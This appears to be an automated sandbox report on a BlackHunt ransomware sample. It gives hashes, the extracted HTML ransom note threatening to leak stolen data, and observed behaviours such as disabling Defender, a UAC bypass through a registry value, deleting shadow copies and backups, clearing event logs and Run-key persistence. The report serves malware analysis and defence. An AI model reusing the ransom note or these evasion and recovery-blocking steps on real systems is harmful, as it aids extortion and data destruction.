024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 22:21

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General

Target

024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
Size

707KB
MD5

f51776c056c967bc7e7253f95340737b
SHA1

373c01f1a4b8b44b5ee443ae02aa6731fe3a17d4
SHA256

024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd
SHA512

4f5d81a072fcbc4b20ebd6dd93be2a7c738762a89fe93cb2a11f2ef6ac0280f1b959e9924aeb0d3f7a0fb9691d80fa733f6ce4341858c13562ade152ae275d26
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1K8ovnh:6uaTmkZJ+naie5OTamgEoKxLWRWh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> d5XfTog9W6mjRSZY </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
272	fsutil.exe
2228	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	wbengine.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	wbengine.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
556	wevtutil.exe
4080	wevtutil.exe
3668	wevtutil.exe
3840	wevtutil.exe
4068	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1176	bcdedit.exe
972	bcdedit.exe
3232	bcdedit.exe
3912	bcdedit.exe

Renames multiple (2871) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
3620	wbadmin.exe
2744	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3324	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\L:	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened (read-only)	\??\R:	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened (read-only)	\??\P:	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened (read-only)	\??\G:	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened (read-only)	\??\K:	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened (read-only)	\??\B:	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened (read-only)	\??\E:	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened (read-only)	\??\I:	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened (read-only)	\??\A:	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened (read-only)	\??\S:	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened (read-only)	\??\J:	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\Z:	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened (read-only)	\??\M:	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\X:	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened (read-only)	\??\N:	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened (read-only)	\??\Q:	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened (read-only)	\??\Y:	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened (read-only)	\??\O:	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened (read-only)	\??\W:	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened (read-only)	\??\V:	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\T:	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened (read-only)	\??\U:	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened (read-only)	\??\H:	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\javaws.policy	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-attach.xml	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-snaptracer_ja.jar	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\vlc.mo	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-BoldOblique.otf	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SceneButtonSubpicture.png	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\#BlackHunt_ReadMe.txt	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\#BlackHunt_ReadMe.hta	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\alt-rt.jar	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\META-INF\#BlackHunt_ReadMe.txt	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-sampler_ja.jar	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#BlackHunt_ReadMe.hta	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\NavigationButtonSubpicture.png	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Creston	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-selector-api_zh_CN.jar	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Argentina\La_Rioja	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt.win32.win32.x86_64.nl_zh_4.4.0.v20140623020002.jar	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Cayman	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Minsk	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ko\#BlackHunt_ReadMe.hta	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\META-INF\#BlackHunt_Private.key	024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe
